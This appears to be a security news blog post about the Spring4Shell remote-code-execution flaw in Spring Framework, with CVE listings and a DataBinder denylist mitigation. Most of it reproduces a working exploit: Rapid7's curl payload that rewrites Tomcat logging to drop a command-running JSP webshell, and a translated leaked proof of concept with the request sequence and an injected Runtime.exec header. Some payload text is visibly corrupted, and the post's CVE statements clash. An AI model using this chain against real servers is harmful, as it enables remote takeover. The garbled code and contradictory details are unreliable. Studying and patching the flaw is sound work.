Update as of 31st March: Spring has Confirmed the RCE in Spring Framework. The team has just published the statement along with the mitigation guides for the issue. Now, this vulnerability can be tracked as CVE-2022-22965.
- RCE in Spring Cloud Function (less severe), CVE-2022-22963
- Medium-severity vulnerability (which can cause a DoS condition) affects Spring Framework versions 5.3.0 to 5.3.16, CVE-2022-22950
- "Spring4Shell" or RCE in Spring Core - confirmed by several sources that leverage class injection (Critical),
RCE in Spring Core
Initially Praetorian confirms the presence of an RCE in Spring Core, the currently recommended approach is to patch DataBinder by adding a blacklist of vulnerable field patterns required for exploitation. After this Rapid7 team has also confirmed the zero-day Spring4Shell vulnerability and provides unauthenticated remote code execution.
Exploit of RCE in Spring Core
package net.javaguides.springmvc.helloworld.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.InitBinder; import org.springframework.web.bind.annotation.RequestMapping; import net.javaguides.springmvc.helloworld.model.HelloWorld; /** * @author Ramesh Fadatare */ @Controller public class HelloWorldController { @RequestMapping("/rapid7") public void vulnerable(HelloWorld model) { } }
Here team has a controller (HelloWorldController) that, when loaded into Tomcat, will handle HTTP requests to http://name/appname/rapid7. The function that handles the request is called vulnerable and has a POJO parameter HelloWorld. Here, HelloWorld is stripped down but POJO can be quite complicated if need be:
package net.javaguides.springmvc.helloworld.model; public class HelloWorld { private String message; }
And that’s it. That’s the entire exploitable condition, from at least Spring Framework versions 4.3.0 through 5.3.15.
Rapid7 noted- If they compile the project and host it on Tomcat, we can then exploit it with the following curl command. Note the following uses the exact same payload used by the original proof of concept created by the researcher (more on the payload later):
curl -v -d "class.module.classLoader.resources.context.parent.pipeline .first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7 D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-SNAPSHOT/rapid7
This payload drops a password protected webshell in the Tomcat ROOT directory called tomcatwar.jsp, and it looks like this:
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1; byte[] b = new byte[2048]; hile((a=in.read(b))3D-1){ out.println(new String(b)); } } -
Attackers can then invoke commands. Here is an example of executing whoami to get albinolobster:
The Java version does appear to matter. Testing on OpenJDK 1.8.0_312 fails, but OpenJDK 11.0.14.1 works.
The payload Rapid7 has used is specific to Tomcat servers. It uses a technique that was popular as far back as 2014 and alters the Tomcat server’s logging properties via ClassLoader. The payload simply redirects the logging logic to the ROOT directory and drops the file + payload.
The exploit demonstration is been taken from Rapid7 blog post.
Mitigation Guides
As of now (31st March) there is no official fix for the vulnerability and no CVE associated with this vulnerability.
WAF protection
Temporary repair measures
import org.springframework.core.Ordered; import org.springframework.core.annotation.Order; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.bind.annotation.InitBinder; @ControllerAdvice @Order(10000) public class BinderControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"}; dataBinder.setDisallowedFields(denylist); } }
We have received some leaks about the vulnerability and sources state that the leaks are from the researcher who discovered the vulnerability. The leaks was shared by the vx-underground team. The shared files consist of 3 files including the PoC exploit. It also contains the pdf which describes the vulnerability. PDF containing details is in a different language but we have managed to translate it to English.
At the time of writing, the CVE id is not yet confirmed. According to the leaked document author of the writeup is p1n93r.
All the content shared on this post is from the leaked document and we have just translated the content. We still didn't confirmed now confirmed the authenticity of the exploit of the bug. Use at your own risk, we are not responsible for any damage caused.
PDF Content:-
Spring-beans RCE Vulnerability Analysis
Requirements
- JDK9 and above;
- Using the Spring-beans package;
- Spring parameter binding is used;
- Spring parameter binding uses non-basic parameter types, such as general POJOs;
/** * @author : p1n93r * @date : 2022/3/29 17:34 */ @Setter @Getter public class EvalBean { public EvalBean() throws ClassNotFoundException { System.out.println("[+] 调⽤了EvalBean.EvalBean"); } public String name; public CommonBean commonBean; public String getName() { System.out.println("[+] 调⽤了EvalBean.getName"); return name; } public void setName(String name) { System.out.println("[+] 调⽤了EvalBean.setName"); this.name = name; } public CommonBean getCommonBean() { System.out.println("[+] 调⽤了EvalBean.getCommonBean"); return commonBean; } public void setCommonBean(CommonBean commonBean) { System.out.println("[+] 调⽤了EvalBean.setCommonBean"); this.commonBean = commonBean; } }
@RequestMapping("/index") public void index(EvalBean evalBean, Model model){ System.out.println("================="); System.out.println(evalBean); System.out.println("================="); }
So I started the whole process of binding parameters. When I followed the call position as follows, I was stunned:
When I looked at this cache, I was stunned, why is there a class attribute cache here??
When I saw this, I knew I was wrong, this is not a garbage hole, it is really a nuclear bomb-level loophole! Now it is clear that we can get the class object very easily, and the rest is to use the class object to construct the utilization chain. At present, the simpler way is to modify the log configuration of Tomcat, to Write the shell in the log. A complete utilization chain is as follows:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%63%6b%7d%69 class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d%79%4a%61%76%61%43%6f%64%65%5c%73%74%75%70%69%64%52%7 class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
Looking at the utilization chain, you can see that it is a very simple way to modify the Tomcat log configuration and use the log to write a shell; the specific attack steps are as follows, and the following five requests are sent successively:
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%6 http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
After sending these five requests, Tomcat's log configuration is modified as follows:
Then we just need to send a random request, add a header called fuck, and write to the shell:
GET /stupidRumor_war_exploded/fuckUUUU HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
fuck: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
The shell can be accessed normally:
The above content is translated and the exact PDF. Still, we don't confirm the vulnerability analysis.
After the leaked PoC surfaced online many security researchers have analyzed it and modified the exploit code. Praetorian confirms the presence of an RCE in Spring Core, the currently recommended approach is to patch DataBinder by adding a blacklist of vulnerable field patterns required for exploitation.
We have seen the first YARA rules to detect the PoC code and web shells dropped by the leaked POC exploiting the Spring4Shell vulnerability. Another unknown user has drooped PoC exploit on Github.
With our first report, we have seen many users have commented that there is no such RCE vulnerability on Spring and Spring4Shell is not different from Spring Cloud Function vulnerability.
But check these comments on the git repository of the Spring project, where one user named, "Kontinuation " says-
This commit does not resolve any already existing vulnerabilities and has nothing to do with spring core RCE. Just stop spamming this commit.
Following the above comment Spring Framework developer, Sam Brannen acknowledges the comment from Kontinuation. If you closely read the Kontinuation comments you understand that Kontinuation itself says has nothing to do with spring core RCE. This can be expected that Kontinuation and Spring Framework developers may know that there is a remote code execution bug on spring core and the respective commit is not for Spring core RCE.